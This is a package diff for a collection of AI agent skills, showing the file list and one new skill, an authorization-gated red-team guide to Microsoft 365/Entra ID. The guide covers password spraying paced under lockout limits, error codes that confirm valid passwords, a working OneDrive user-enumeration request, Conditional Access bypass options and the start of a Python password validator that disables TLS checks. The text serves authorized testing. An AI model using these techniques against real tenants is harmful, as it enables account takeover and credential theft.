opencode-skills-collection 4.0.68 → 4.0.69

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (309) hide show
  1. package/bundled-skills/.antigravity-install-manifest.json +266 -1
  2. package/bundled-skills/access-review/SKILL.md +394 -0
  3. package/bundled-skills/access-review/references/details.md +121 -0
  4. package/bundled-skills/agent-evals/SKILL.md +420 -0
  5. package/bundled-skills/agent-observability/SKILL.md +346 -0
  6. package/bundled-skills/agent-observability/references/details.md +786 -0
  7. package/bundled-skills/ai-agent-security/SKILL.md +393 -0
  8. package/bundled-skills/ai-agent-security/references/details.md +912 -0
  9. package/bundled-skills/ai-coding-agent-guardrails/SKILL.md +442 -0
  10. package/bundled-skills/ai-coding-agent-guardrails/references/details.md +753 -0
  11. package/bundled-skills/ai-inference-service-mesh/SKILL.md +449 -0
  12. package/bundled-skills/ai-pipeline-orchestration/SKILL.md +287 -0
  13. package/bundled-skills/ai-red-teaming/SKILL.md +409 -0
  14. package/bundled-skills/ai-security-hardening/SKILL.md +343 -0
  15. package/bundled-skills/ai-sre-incident-response/SKILL.md +336 -0
  16. package/bundled-skills/alerting-oncall/SKILL.md +458 -0
  17. package/bundled-skills/alerting-oncall/references/details.md +84 -0
  18. package/bundled-skills/apk-redteam-pipeline/SKILL.md +446 -0
  19. package/bundled-skills/argocd-gitops/SKILL.md +469 -0
  20. package/bundled-skills/arm-templates/SKILL.md +438 -0
  21. package/bundled-skills/arm-templates/references/details.md +64 -0
  22. package/bundled-skills/asset-inventory/SKILL.md +412 -0
  23. package/bundled-skills/asset-inventory/references/details.md +127 -0
  24. package/bundled-skills/audit-logging/SKILL.md +476 -0
  25. package/bundled-skills/aws-cloudtrail/SKILL.md +486 -0
  26. package/bundled-skills/aws-cost-optimization/SKILL.md +331 -0
  27. package/bundled-skills/aws-ec2/SKILL.md +426 -0
  28. package/bundled-skills/aws-ecs-fargate/SKILL.md +388 -0
  29. package/bundled-skills/aws-iam/SKILL.md +463 -0
  30. package/bundled-skills/aws-lambda/SKILL.md +428 -0
  31. package/bundled-skills/aws-rds/SKILL.md +380 -0
  32. package/bundled-skills/aws-s3/SKILL.md +434 -0
  33. package/bundled-skills/aws-secrets-manager/SKILL.md +486 -0
  34. package/bundled-skills/aws-vpc/SKILL.md +436 -0
  35. package/bundled-skills/azure-ai-document-intelligence-ts/SKILL.md +1 -1
  36. package/bundled-skills/azure-aks/SKILL.md +423 -0
  37. package/bundled-skills/azure-devops/SKILL.md +457 -0
  38. package/bundled-skills/azure-functions-devsec/SKILL.md +436 -0
  39. package/bundled-skills/azure-keyvault/SKILL.md +455 -0
  40. package/bundled-skills/azure-keyvault/references/details.md +83 -0
  41. package/bundled-skills/azure-monitor-audit/SKILL.md +379 -0
  42. package/bundled-skills/azure-networking/SKILL.md +448 -0
  43. package/bundled-skills/azure-networking/references/details.md +135 -0
  44. package/bundled-skills/azure-sql/SKILL.md +413 -0
  45. package/bundled-skills/azure-sql/references/details.md +113 -0
  46. package/bundled-skills/azure-vms/SKILL.md +402 -0
  47. package/bundled-skills/azure-vms/references/details.md +134 -0
  48. package/bundled-skills/backup-recovery/SKILL.md +388 -0
  49. package/bundled-skills/bb-methodology/SKILL.md +451 -0
  50. package/bundled-skills/bb-methodology/references/details.md +120 -0
  51. package/bundled-skills/block-storage/SKILL.md +371 -0
  52. package/bundled-skills/blue-green-deploy/SKILL.md +453 -0
  53. package/bundled-skills/blue-green-deploy/references/details.md +90 -0
  54. package/bundled-skills/bug-bounty/SKILL.md +447 -0
  55. package/bundled-skills/bug-bounty/references/details.md +1316 -0
  56. package/bundled-skills/bugcrowd-reporting/SKILL.md +351 -0
  57. package/bundled-skills/business-continuity/SKILL.md +463 -0
  58. package/bundled-skills/career-ops/SKILL.md +186 -0
  59. package/bundled-skills/cdn-setup/SKILL.md +374 -0
  60. package/bundled-skills/change-management/SKILL.md +438 -0
  61. package/bundled-skills/change-management/references/details.md +105 -0
  62. package/bundled-skills/circleci/SKILL.md +475 -0
  63. package/bundled-skills/cis-benchmarks/SKILL.md +150 -0
  64. package/bundled-skills/cloudflare-pages/SKILL.md +318 -0
  65. package/bundled-skills/cloudflare-r2/SKILL.md +353 -0
  66. package/bundled-skills/cloudflare-workers/SKILL.md +415 -0
  67. package/bundled-skills/cloudflare-zero-trust/SKILL.md +361 -0
  68. package/bundled-skills/cloudformation/SKILL.md +461 -0
  69. package/bundled-skills/constraint-driven-development/SKILL.md +335 -0
  70. package/bundled-skills/constraint-driven-development/references/floor-guard.md +99 -0
  71. package/bundled-skills/container-hardening/SKILL.md +126 -0
  72. package/bundled-skills/container-registries/SKILL.md +435 -0
  73. package/bundled-skills/container-scanning/SKILL.md +416 -0
  74. package/bundled-skills/convex-backend/SKILL.md +338 -0
  75. package/bundled-skills/dast-scanning/SKILL.md +437 -0
  76. package/bundled-skills/database-backups/SKILL.md +425 -0
  77. package/bundled-skills/datadog/SKILL.md +487 -0
  78. package/bundled-skills/dependency-scanning/SKILL.md +457 -0
  79. package/bundled-skills/devcontainers-nix/SKILL.md +416 -0
  80. package/bundled-skills/disaster-recovery/SKILL.md +374 -0
  81. package/bundled-skills/disaster-recovery/references/details.md +219 -0
  82. package/bundled-skills/dns-management/SKILL.md +375 -0
  83. package/bundled-skills/docker-compose/SKILL.md +482 -0
  84. package/bundled-skills/docker-management/SKILL.md +426 -0
  85. package/bundled-skills/ebpf-observability/SKILL.md +436 -0
  86. package/bundled-skills/ebpf-observability/references/details.md +542 -0
  87. package/bundled-skills/elk-stack/SKILL.md +487 -0
  88. package/bundled-skills/enterprise-vpn-attack/SKILL.md +395 -0
  89. package/bundled-skills/evidence-hygiene/SKILL.md +404 -0
  90. package/bundled-skills/feature-flags/SKILL.md +426 -0
  91. package/bundled-skills/feature-flags/references/details.md +86 -0
  92. package/bundled-skills/fedramp-compliance/SKILL.md +453 -0
  93. package/bundled-skills/firebase-app-platform/SKILL.md +381 -0
  94. package/bundled-skills/firewall-config/SKILL.md +479 -0
  95. package/bundled-skills/gcp-audit-logs/SKILL.md +452 -0
  96. package/bundled-skills/gcp-audit-logs/references/details.md +56 -0
  97. package/bundled-skills/gcp-cloud-functions/SKILL.md +284 -0
  98. package/bundled-skills/gcp-cloud-sql/SKILL.md +277 -0
  99. package/bundled-skills/gcp-compute/SKILL.md +319 -0
  100. package/bundled-skills/gcp-gke/SKILL.md +307 -0
  101. package/bundled-skills/gcp-networking/SKILL.md +293 -0
  102. package/bundled-skills/gcp-secret-manager/SKILL.md +421 -0
  103. package/bundled-skills/gcp-secret-manager/references/details.md +131 -0
  104. package/bundled-skills/gdpr-compliance/SKILL.md +451 -0
  105. package/bundled-skills/gdpr-compliance/references/details.md +145 -0
  106. package/bundled-skills/geo-audit/SKILL.md +368 -0
  107. package/bundled-skills/geo-brand-mentions/SKILL.md +68 -0
  108. package/bundled-skills/geo-brand-mentions/references/details.md +471 -0
  109. package/bundled-skills/geo-citability/SKILL.md +350 -0
  110. package/bundled-skills/geo-compare/SKILL.md +340 -0
  111. package/bundled-skills/geo-content/SKILL.md +383 -0
  112. package/bundled-skills/geo-crawlers/SKILL.md +408 -0
  113. package/bundled-skills/geo-llmstxt/SKILL.md +464 -0
  114. package/bundled-skills/geo-platform-optimizer/SKILL.md +314 -0
  115. package/bundled-skills/geo-proposal/SKILL.md +378 -0
  116. package/bundled-skills/geo-prospect/SKILL.md +225 -0
  117. package/bundled-skills/geo-report/SKILL.md +436 -0
  118. package/bundled-skills/geo-report-pdf/SKILL.md +157 -0
  119. package/bundled-skills/geo-schema/SKILL.md +408 -0
  120. package/bundled-skills/geo-technical/SKILL.md +78 -0
  121. package/bundled-skills/geo-technical/references/details.md +543 -0
  122. package/bundled-skills/git-workflow/SKILL.md +460 -0
  123. package/bundled-skills/github-actions/SKILL.md +368 -0
  124. package/bundled-skills/gitlab-ci/SKILL.md +340 -0
  125. package/bundled-skills/gpu-kubernetes-operations/SKILL.md +468 -0
  126. package/bundled-skills/gpu-server-management/SKILL.md +236 -0
  127. package/bundled-skills/hashicorp-vault/SKILL.md +408 -0
  128. package/bundled-skills/helm-charts/SKILL.md +469 -0
  129. package/bundled-skills/hipaa-compliance/SKILL.md +451 -0
  130. package/bundled-skills/hunt-aspnet/SKILL.md +321 -0
  131. package/bundled-skills/hunt-ato/SKILL.md +184 -0
  132. package/bundled-skills/hunt-auth-bypass/SKILL.md +426 -0
  133. package/bundled-skills/hunt-auth-bypass/references/details.md +80 -0
  134. package/bundled-skills/hunt-brute-force/SKILL.md +341 -0
  135. package/bundled-skills/hunt-business-logic/SKILL.md +281 -0
  136. package/bundled-skills/hunt-cache-poison/SKILL.md +382 -0
  137. package/bundled-skills/hunt-captcha-bypass/SKILL.md +136 -0
  138. package/bundled-skills/hunt-cicd/SKILL.md +311 -0
  139. package/bundled-skills/hunt-clickjacking/SKILL.md +110 -0
  140. package/bundled-skills/hunt-cors/SKILL.md +335 -0
  141. package/bundled-skills/hunt-dom/SKILL.md +323 -0
  142. package/bundled-skills/hunt-exceptional-conditions/SKILL.md +111 -0
  143. package/bundled-skills/hunt-file-upload/SKILL.md +202 -0
  144. package/bundled-skills/hunt-fintech-graphql/SKILL.md +289 -0
  145. package/bundled-skills/hunt-forgot-password/SKILL.md +114 -0
  146. package/bundled-skills/hunt-grpc/SKILL.md +317 -0
  147. package/bundled-skills/hunt-host-header/SKILL.md +309 -0
  148. package/bundled-skills/hunt-html-injection/SKILL.md +106 -0
  149. package/bundled-skills/hunt-http-smuggling/SKILL.md +129 -0
  150. package/bundled-skills/hunt-http-smuggling/references/phase2h-smuggling-cachepoison.md +177 -0
  151. package/bundled-skills/hunt-idor/SKILL.md +434 -0
  152. package/bundled-skills/hunt-jwt-crypto/SKILL.md +221 -0
  153. package/bundled-skills/hunt-k8s/SKILL.md +337 -0
  154. package/bundled-skills/hunt-laravel/SKILL.md +255 -0
  155. package/bundled-skills/hunt-ldap/SKILL.md +351 -0
  156. package/bundled-skills/hunt-lfi/SKILL.md +311 -0
  157. package/bundled-skills/hunt-llm-ai/SKILL.md +289 -0
  158. package/bundled-skills/hunt-mfa-bypass/SKILL.md +177 -0
  159. package/bundled-skills/hunt-misc/SKILL.md +378 -0
  160. package/bundled-skills/hunt-nextjs/SKILL.md +299 -0
  161. package/bundled-skills/hunt-nodejs/SKILL.md +263 -0
  162. package/bundled-skills/hunt-nosqli/SKILL.md +210 -0
  163. package/bundled-skills/hunt-ntlm-info/SKILL.md +314 -0
  164. package/bundled-skills/hunt-oauth/SKILL.md +459 -0
  165. package/bundled-skills/hunt-open-redirect/SKILL.md +223 -0
  166. package/bundled-skills/hunt-race-condition/SKILL.md +381 -0
  167. package/bundled-skills/hunt-race-condition/references/details.md +159 -0
  168. package/bundled-skills/hunt-rag-vector/SKILL.md +212 -0
  169. package/bundled-skills/hunt-rce/SKILL.md +444 -0
  170. package/bundled-skills/hunt-rce/references/details.md +110 -0
  171. package/bundled-skills/hunt-saml/SKILL.md +156 -0
  172. package/bundled-skills/hunt-session/SKILL.md +342 -0
  173. package/bundled-skills/hunt-shadow-api/SKILL.md +198 -0
  174. package/bundled-skills/hunt-source-leak/SKILL.md +345 -0
  175. package/bundled-skills/hunt-spa-api/SKILL.md +163 -0
  176. package/bundled-skills/hunt-springboot/SKILL.md +285 -0
  177. package/bundled-skills/hunt-sqli/SKILL.md +466 -0
  178. package/bundled-skills/hunt-ssrf/SKILL.md +396 -0
  179. package/bundled-skills/hunt-ssrf/references/details.md +179 -0
  180. package/bundled-skills/hunt-ssti/SKILL.md +163 -0
  181. package/bundled-skills/hunt-subdomain/SKILL.md +379 -0
  182. package/bundled-skills/hunt-tls-network/SKILL.md +399 -0
  183. package/bundled-skills/hunt-xxe/SKILL.md +466 -0
  184. package/bundled-skills/i-have-adhd/SKILL.md +170 -0
  185. package/bundled-skills/identity-access-management/SKILL.md +382 -0
  186. package/bundled-skills/identity-access-management/references/details.md +524 -0
  187. package/bundled-skills/incident-management/SKILL.md +484 -0
  188. package/bundled-skills/incident-response/SKILL.md +448 -0
  189. package/bundled-skills/incident-response/references/details.md +113 -0
  190. package/bundled-skills/interview-me/SKILL.md +248 -0
  191. package/bundled-skills/iso27001-compliance/SKILL.md +460 -0
  192. package/bundled-skills/jenkins/SKILL.md +462 -0
  193. package/bundled-skills/jev-use/SKILL.md +158 -0
  194. package/bundled-skills/kubernetes-hardening/SKILL.md +154 -0
  195. package/bundled-skills/kubernetes-ops/SKILL.md +449 -0
  196. package/bundled-skills/kubernetes-ops/references/details.md +108 -0
  197. package/bundled-skills/kustomize/SKILL.md +478 -0
  198. package/bundled-skills/linux-administration/SKILL.md +367 -0
  199. package/bundled-skills/linux-hardening/SKILL.md +154 -0
  200. package/bundled-skills/llm-app-security/SKILL.md +389 -0
  201. package/bundled-skills/llm-app-security/references/details.md +674 -0
  202. package/bundled-skills/llm-caching/SKILL.md +334 -0
  203. package/bundled-skills/llm-cost-optimization/SKILL.md +311 -0
  204. package/bundled-skills/llm-fine-tuning/SKILL.md +329 -0
  205. package/bundled-skills/llm-gateway/SKILL.md +282 -0
  206. package/bundled-skills/llm-inference-scaling/SKILL.md +286 -0
  207. package/bundled-skills/llmops-platform-engineering/SKILL.md +472 -0
  208. package/bundled-skills/load-balancing/SKILL.md +403 -0
  209. package/bundled-skills/loki-logging/SKILL.md +479 -0
  210. package/bundled-skills/m365-entra-attack/SKILL.md +423 -0
  211. package/bundled-skills/mac-mini-llm-lab/SKILL.md +350 -0
  212. package/bundled-skills/mcp-server-security/SKILL.md +356 -0
  213. package/bundled-skills/mcp-server-security/references/details.md +745 -0
  214. package/bundled-skills/mdm-device-management/SKILL.md +404 -0
  215. package/bundled-skills/mdm-device-management/references/details.md +410 -0
  216. package/bundled-skills/meme-coin-audit/SKILL.md +402 -0
  217. package/bundled-skills/mid-engagement-ir-detection/SKILL.md +377 -0
  218. package/bundled-skills/model-registry-governance/SKILL.md +452 -0
  219. package/bundled-skills/model-serving-kubernetes/SKILL.md +339 -0
  220. package/bundled-skills/model-supply-chain-security/SKILL.md +427 -0
  221. package/bundled-skills/mongodb/SKILL.md +436 -0
  222. package/bundled-skills/multi-tenant-llm-hosting/SKILL.md +435 -0
  223. package/bundled-skills/multi-tenant-llm-hosting/references/details.md +211 -0
  224. package/bundled-skills/mysql/SKILL.md +390 -0
  225. package/bundled-skills/new-relic/SKILL.md +472 -0
  226. package/bundled-skills/nfs-storage/SKILL.md +356 -0
  227. package/bundled-skills/object-storage/SKILL.md +378 -0
  228. package/bundled-skills/offensive-osint/SKILL.md +443 -0
  229. package/bundled-skills/okta-attack/SKILL.md +436 -0
  230. package/bundled-skills/ollama-stack/SKILL.md +379 -0
  231. package/bundled-skills/openclaw-deployment-hardening/SKILL.md +135 -0
  232. package/bundled-skills/openclaw-local-mac-mini/SKILL.md +426 -0
  233. package/bundled-skills/openclaw-local-mac-mini/references/details.md +221 -0
  234. package/bundled-skills/openclaw-security-hardening/SKILL.md +135 -0
  235. package/bundled-skills/openshift/SKILL.md +485 -0
  236. package/bundled-skills/opentelemetry/SKILL.md +438 -0
  237. package/bundled-skills/opentelemetry/references/details.md +78 -0
  238. package/bundled-skills/opentofu-migration/SKILL.md +349 -0
  239. package/bundled-skills/osint-methodology/SKILL.md +460 -0
  240. package/bundled-skills/osint-methodology/references/details.md +1350 -0
  241. package/bundled-skills/pci-dss-compliance/SKILL.md +446 -0
  242. package/bundled-skills/penetration-testing/SKILL.md +152 -0
  243. package/bundled-skills/performance-tuning/SKILL.md +381 -0
  244. package/bundled-skills/planetscale/SKILL.md +297 -0
  245. package/bundled-skills/platform-engineering/SKILL.md +348 -0
  246. package/bundled-skills/platform-engineering/references/details.md +944 -0
  247. package/bundled-skills/podman/SKILL.md +405 -0
  248. package/bundled-skills/policy-as-code/SKILL.md +434 -0
  249. package/bundled-skills/policy-as-code/references/details.md +204 -0
  250. package/bundled-skills/postgresql-devsec/SKILL.md +378 -0
  251. package/bundled-skills/prometheus-grafana/SKILL.md +469 -0
  252. package/bundled-skills/prompt-injection-defense/SKILL.md +483 -0
  253. package/bundled-skills/rag-infrastructure/SKILL.md +269 -0
  254. package/bundled-skills/rag-observability-evals/SKILL.md +444 -0
  255. package/bundled-skills/rag-observability-evals/references/details.md +92 -0
  256. package/bundled-skills/recon-scope-triage/SKILL.md +128 -0
  257. package/bundled-skills/redis/SKILL.md +421 -0
  258. package/bundled-skills/redteam-report-template/SKILL.md +370 -0
  259. package/bundled-skills/report-writing/SKILL.md +426 -0
  260. package/bundled-skills/report-writing/references/details.md +187 -0
  261. package/bundled-skills/reverse-proxy/SKILL.md +420 -0
  262. package/bundled-skills/runbook-creation/SKILL.md +438 -0
  263. package/bundled-skills/runbook-creation/references/details.md +71 -0
  264. package/bundled-skills/saas-security-posture/SKILL.md +415 -0
  265. package/bundled-skills/sast-scanning/SKILL.md +444 -0
  266. package/bundled-skills/sbom-supply-chain/SKILL.md +433 -0
  267. package/bundled-skills/security-arsenal/SKILL.md +446 -0
  268. package/bundled-skills/security-arsenal/references/details.md +540 -0
  269. package/bundled-skills/security-automation/SKILL.md +146 -0
  270. package/bundled-skills/semantic-versioning/SKILL.md +434 -0
  271. package/bundled-skills/semantic-versioning/references/details.md +83 -0
  272. package/bundled-skills/service-mesh/SKILL.md +422 -0
  273. package/bundled-skills/soc2-compliance/SKILL.md +409 -0
  274. package/bundled-skills/sops-encryption/SKILL.md +124 -0
  275. package/bundled-skills/sre-dashboards/SKILL.md +143 -0
  276. package/bundled-skills/ssh-configuration/SKILL.md +324 -0
  277. package/bundled-skills/ssl-tls-management/SKILL.md +428 -0
  278. package/bundled-skills/ssl-tls-management/references/details.md +99 -0
  279. package/bundled-skills/startup-it-troubleshooting/SKILL.md +415 -0
  280. package/bundled-skills/supply-chain-attack-recon/SKILL.md +453 -0
  281. package/bundled-skills/supply-chain-attack-recon/references/details.md +258 -0
  282. package/bundled-skills/systemd-services/SKILL.md +379 -0
  283. package/bundled-skills/terraform-aws/SKILL.md +125 -0
  284. package/bundled-skills/terraform-azure/SKILL.md +415 -0
  285. package/bundled-skills/terraform-azure/references/details.md +231 -0
  286. package/bundled-skills/terraform-gcp/SKILL.md +369 -0
  287. package/bundled-skills/threat-modeling/SKILL.md +487 -0
  288. package/bundled-skills/user-management/SKILL.md +383 -0
  289. package/bundled-skills/using-agent-skills/SKILL.md +220 -0
  290. package/bundled-skills/vector-database-ops/SKILL.md +300 -0
  291. package/bundled-skills/vendor-management/SKILL.md +439 -0
  292. package/bundled-skills/vendor-management/references/details.md +109 -0
  293. package/bundled-skills/vercel-deployments/SKILL.md +296 -0
  294. package/bundled-skills/vllm-server/SKILL.md +236 -0
  295. package/bundled-skills/vmware-vcenter-attack/SKILL.md +412 -0
  296. package/bundled-skills/vpn-setup/SKILL.md +452 -0
  297. package/bundled-skills/vulnerability-scanning/SKILL.md +448 -0
  298. package/bundled-skills/waf-setup/SKILL.md +354 -0
  299. package/bundled-skills/waf-setup/references/details.md +211 -0
  300. package/bundled-skills/web2-recon/SKILL.md +440 -0
  301. package/bundled-skills/web2-recon/references/details.md +319 -0
  302. package/bundled-skills/web3-audit/SKILL.md +445 -0
  303. package/bundled-skills/web3-audit/references/details.md +224 -0
  304. package/bundled-skills/windows-hardening/SKILL.md +454 -0
  305. package/bundled-skills/windows-hardening/references/details.md +204 -0
  306. package/bundled-skills/windows-server/SKILL.md +318 -0
  307. package/bundled-skills/zero-trust/SKILL.md +461 -0
  308. package/package.json +1 -1
  309. package/skills_index.json +6943 -323
@@ -0,0 +1,423 @@
1
+ ---
2
+ name: m365-entra-attack
3
+ description: Microsoft 365 / Entra ID red-team attack chain
4
+ category: security
5
+ risk: offensive
6
+ source: https://github.com/elementalsouls/Claude-BugHunter
7
+ source_repo: elementalsouls/Claude-BugHunter
8
+ source_type: community
9
+ date_added: '2026-09-20'
10
+ license: MIT
11
+ license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
12
+ compatibility: Requires explicit written authorization for a target scope plus the
13
+ relevant testing tools for this technique. Docs-only; helper scripts and commands
14
+ not bundled.
15
+ sources: authorized-engagement, microsoft-docs, AADInternals
16
+ report_count: 1
17
+ ---
18
+ > **⚠️ AUTHORIZED USE ONLY**
19
+ > This skill is for educational purposes or authorized security assessments only.
20
+ > You must have explicit, written permission from the system owner before using this tool.
21
+ > Misuse of this tool is illegal and strictly prohibited.
22
+
23
+ > **Mandatory confirmation gate**
24
+ > Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
25
+ > 1. Ask the user to state the exact target URL, IP, account, or resource.
26
+ > 2. Ask the user to confirm written authorization and the permitted scope.
27
+ > 3. Show the exact command(s) and explain their expected effect.
28
+ > 4. Wait for explicit confirmation in the current conversation.
29
+ >
30
+ > Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
31
+
32
+ ## When to use this skill
33
+
34
+ Trigger when:
35
+ - Target uses M365 / Entra ID (autodiscover.* records, login.microsoftonline.com redirects, "Microsoft Office 365" in tech-stack notes)
36
+ - You have a list of corporate emails or stealer-leaked creds
37
+ - Engagement involves "credential spray", "password spray", "Entra attack", "ATO via M365"
38
+ - You see `*.onmicrosoft.com`, `*-my.sharepoint.com`, `enterpriseregistration.*`, `enterpriseenrollment.*` in recon
39
+ - Client mentions "Conditional Access", "MFA bypass", "compliant device"
40
+
41
+ DO NOT use for:
42
+ - On-prem-only Active Directory (use a separate AD-attack skill)
43
+ - Service-to-service token attacks (different threat model)
44
+ - Phishing-required attack chains (covered by phishing skills) — but you can prep for the credential-validation step here
45
+
46
+ ---
47
+
48
+ ## Tenant discovery (msftrecon)
49
+
50
+ ```bash
51
+ # For each owned domain
52
+ msftrecon -d client.example
53
+ msftrecon -d clientltd.example
54
+ msftrecon -d sister-brand-school.example
55
+ ```
56
+
57
+ Key fields in output:
58
+ - **Tenant ID** (different domains may share OR have separate tenants — always test all owned domains)
59
+ - **Federation Information.Namespace Type** = `Managed` (cloud-only, ROPC works) | `Federated` (ADFS, different attack)
60
+ - **SharePoint Detected** (Yes = OneDrive enum vector available)
61
+ - **Communication Services Teams/Skype** (post-auth lateral targets)
62
+ - **Admin Consent Endpoint accessible** (consent-phishing surface)
63
+
64
+ **Red flag:** if the org has multiple Entra tenants for sister domains, each is a separate attack surface with its own user list, lockout policy, and CA configuration. Don't assume one spray covers all.
65
+
66
+ ---
67
+
68
+ ## AADSTS code reference (memorize)
69
+
70
+ | AADSTS | Meaning | Lockout impact | What to do |
71
+ |---|---|---|---|
72
+ | 50034 | User does not exist | None | Skip; remove from spray list |
73
+ | 50126 | Invalid username/password | +1 attempt counter | User exists — try alternate password later (within cap) |
74
+ | 50053 | Account locked (Smart Lockout) | None (already locked) | Pre-existing → flag to SOC; don't retry |
75
+ | 53003 | CA blocked token issuance | +1 attempt counter | **PASSWORD VALID** — STOP, password is correct |
76
+ | 50076 | MFA required | +1 attempt counter | **PASSWORD VALID** — second factor needed |
77
+ | 50079 | Strong auth required | +1 attempt counter | **PASSWORD VALID** — same as 50076 |
78
+ | 50158 | External auth required | +1 attempt counter | **PASSWORD VALID** — federated MFA |
79
+ | 530003 | Device-state required | +1 attempt counter | **PASSWORD VALID** — needs compliant device |
80
+ | 65001 | Consent required | +1 attempt counter | App-consent issue, not auth |
81
+ | 700016 | App not in tenant | None | User in different tenant — adjust target |
82
+ | 90002 | Tenant does not exist | None | Tenant typo / dead tenant |
83
+
84
+ **Critical insight:** any code in {53003, 50076, 50079, 50158, 530003} means **the password is correct** — Microsoft only returns these AFTER successful credential validation. Document as a confirmed-valid finding even if you can't get a token.
85
+
86
+ ---
87
+
88
+ ## Smart Lockout math (the cap discipline)
89
+
90
+ **Microsoft default policy:**
91
+ - 10 failed sign-ins in 10 minutes → 1-minute lockout
92
+ - 20 failed sign-ins → progressively longer lockouts (exponential backoff)
93
+ - Counter shared across **ALL auth flows** (ROPC + SAML + IMAP + EWS + SMTP + device-code)
94
+
95
+ **Engagement discipline:**
96
+ - Hard cap: ≤2 password attempts per user **lifetime per engagement** (some engagements: 1)
97
+ - State file with atomic writes — never let two test runs race the counter
98
+ - Kill switch: stop run if more than N LOCKED responses observed (suggests pre-existing attacker activity OR you miscounted; either way pause)
99
+
100
+ **Mathematical guarantee:** with 1 attempt per user, **you cannot cause Smart Lockout** (1 < 10). Any AADSTS50053 you see is therefore pre-existing → use this for active-attacker detection (see `mid-engagement-ir-detection` skill).
101
+
102
+ ---
103
+
104
+ ## User enumeration — vectors + hardening status (May 2026)
105
+
106
+ ### ❌ HARDENED (no longer differential)
107
+
108
+ ```http
109
+ GET /getuserrealm.srf?login=<email>&xml=1
110
+ ```
111
+ Returns identical XML for any email matching tenant's owned domain. **Tenant-level only, not user-level.**
112
+
113
+ ```http
114
+ POST /common/GetCredentialType
115
+ {"username":"<email>", "isOtherIdpSupported":true, ...}
116
+ ```
117
+ Returns `AADSTS1659001` (missing flowToken) without proper session — can't enumerate.
118
+
119
+ ```http
120
+ GET /autodiscover/autodiscover.json/v1.0/<email>?Protocol=AutodiscoverV1
121
+ ```
122
+ Returns identical 200 + same JSON body for any address. Hardened ~2024.
123
+
124
+ ### ✅ STILL WORKS (May 2026 — track shelf life)
125
+
126
+ **OneDrive personal-site differential:**
127
+ ```http
128
+ GET /personal/<user>_<domain>_com/_layouts/15/onedrive.aspx HTTP/1.1
129
+ Host: <tenant>-my.sharepoint.com
130
+ ```
131
+ - **302 → user EXISTS** (auth-required redirect to Authenticate.aspx)
132
+ - **404 → user does NOT exist** (404 FILE NOT FOUND)
133
+ - ZERO authentication attempt → ZERO lockout impact
134
+ - Bonus: `Sprequestduration` header faster (~40ms) for existing users vs ~600ms for non-existent — secondary timing oracle
135
+
136
+ **Caveats:**
137
+ - Only works if SharePoint is provisioned for the tenant (check msftrecon `SharePoint Detected: Yes`)
138
+ - Microsoft is hardening these endpoints over time — re-verify before relying on it
139
+ - Some users may exist in Entra without OneDrive provisioning (license-dependent) — false negatives possible
140
+
141
+ **2026-05-17 re-verification (authorized-engagement revalidation):** The OneDrive enum primitive STILL WORKS as of 2026-05-17. Calibration: licensed users return HTTP 200 with ~57KB body; nonexistent users / shared-mailbox accounts return 404 with 0 bytes. The /personal/ root path (without /_layouts/15/onedrive.aspx) returns the same differential.
142
+
143
+ **Killer use case: license differential = account-class signal.** Cross-reference OneDrive 200/404 with ROPC AADSTS50034/50126:
144
+
145
+ | OneDrive | ROPC | Classification |
146
+ |---|---|---|
147
+ | 200 | AADSTS50076 (MFA req) or 50126 | **Licensed regular user** (real employee, MFA enforced) |
148
+ | 200 | AADSTS50034 | (shouldn't happen — inconsistency, investigate) |
149
+ | 404 | AADSTS50126 | **Shared mailbox / functional / service account** (no OneDrive license, has password) — historic MFA-exempt class, prime target for password guessing |
150
+ | 404 | AADSTS50034 | Doesn't exist in tenant |
151
+ | 404 | AADSTS50076 | Edge case (functional account WITH MFA enforced — rare) |
152
+
153
+ The OneDrive-404 + ROPC-50126 combination is **the signal for "functional account that might bypass MFA"** — admins frequently exempt these from CA policies because they're used by automation that can't satisfy MFA. Discovered usefulness on authorized-engagement revalidation: identified `noreply@`, `purchase@`, `accounts@`, `postmaster@`, `transport@` as functional-account candidates (typical for any conglomerate tenant).
154
+
155
+ **ROPC AADSTS50034 / AADSTS50126 differential:**
156
+ - AADSTS50034 (user not exist) does NOT increment Smart Lockout counter
157
+ - AADSTS50126 (wrong password) DOES increment
158
+ - So a 1-attempt-per-user spray can be used as a coarse user-existence enumerator (each AADSTS50034 = miss, each AADSTS50126 = hit + 1 attempt burned)
159
+
160
+ ---
161
+
162
+ ## Conditional Access bypass options (most blocked, document anyway)
163
+
164
+ | Vector | Status (2026) | Notes |
165
+ |---|---|---|
166
+ | Different ROPC client_id (Microsoft Graph PowerShell vs Azure CLI vs Office) | Sometimes works | CA can be per-app; try `1b730954-1685-4b74-9bfd-dac224a7b894` (Graph PS), `04b07795-8ddb-461a-bbee-02f9e1bf7b46` (Azure CLI), `d3590ed6-52b3-4102-aeff-aad2292ab01c` (Office) |
167
+ | Different resource (graph.microsoft.com / outlook.office.com / management.azure.com) | Sometimes works | CA scope can be per-resource |
168
+ | EWS / IMAP / POP3 / SMTP Basic Auth | Mostly disabled | MS deprecated Basic Auth Oct 2022; per-account exceptions exist |
169
+ | FOCI (Family of Client IDs) | Token-refresh path | Use a refresh token from one FOCI client to mint tokens for another |
170
+ | Device-code phishing | Works | Requires user-side interaction (OOS for many engagements) |
171
+ | Compliant-device emulation | Hard | Requires Intune device registration — high effort, often impossible without insider |
172
+ | AiTM session-cookie steal | Works (with phishing) | Modern primary technique — out of scope for non-phishing engagements |
173
+ | FOCI + Family Refresh Token Theft | Post-auth | Requires already having a token |
174
+ | SAML SSO via different SP | Sometimes | Each enterprise app has its own CA policy; an app with weaker CA = pivot |
175
+ | Geo-bypass via VPN | Sometimes | If "trusted location" CA policy includes corp HQ IPs, use a VPN exit there |
176
+
177
+ **Key insight from this engagement:** in a tenant with universal CA policy (compliant device + MFA), all the above paths return AADSTS53003 with the same flow. The cred is valid, but unusable from external. **Phishing-completed cookie steal is the only realistic adversary path.** Document this clearly so the client understands the threat model.
178
+
179
+ ---
180
+
181
+ ## ROPC password validation (the canonical test)
182
+
183
+ **Single-attempt validator pattern (Python):**
184
+
185
+ ```python
186
+ import urllib.request, urllib.parse, ssl, time, json, os
187
+ ctx = ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE
188
+ ATTEMPT_FILE = "engagement_log/o365_attempts.json"
189
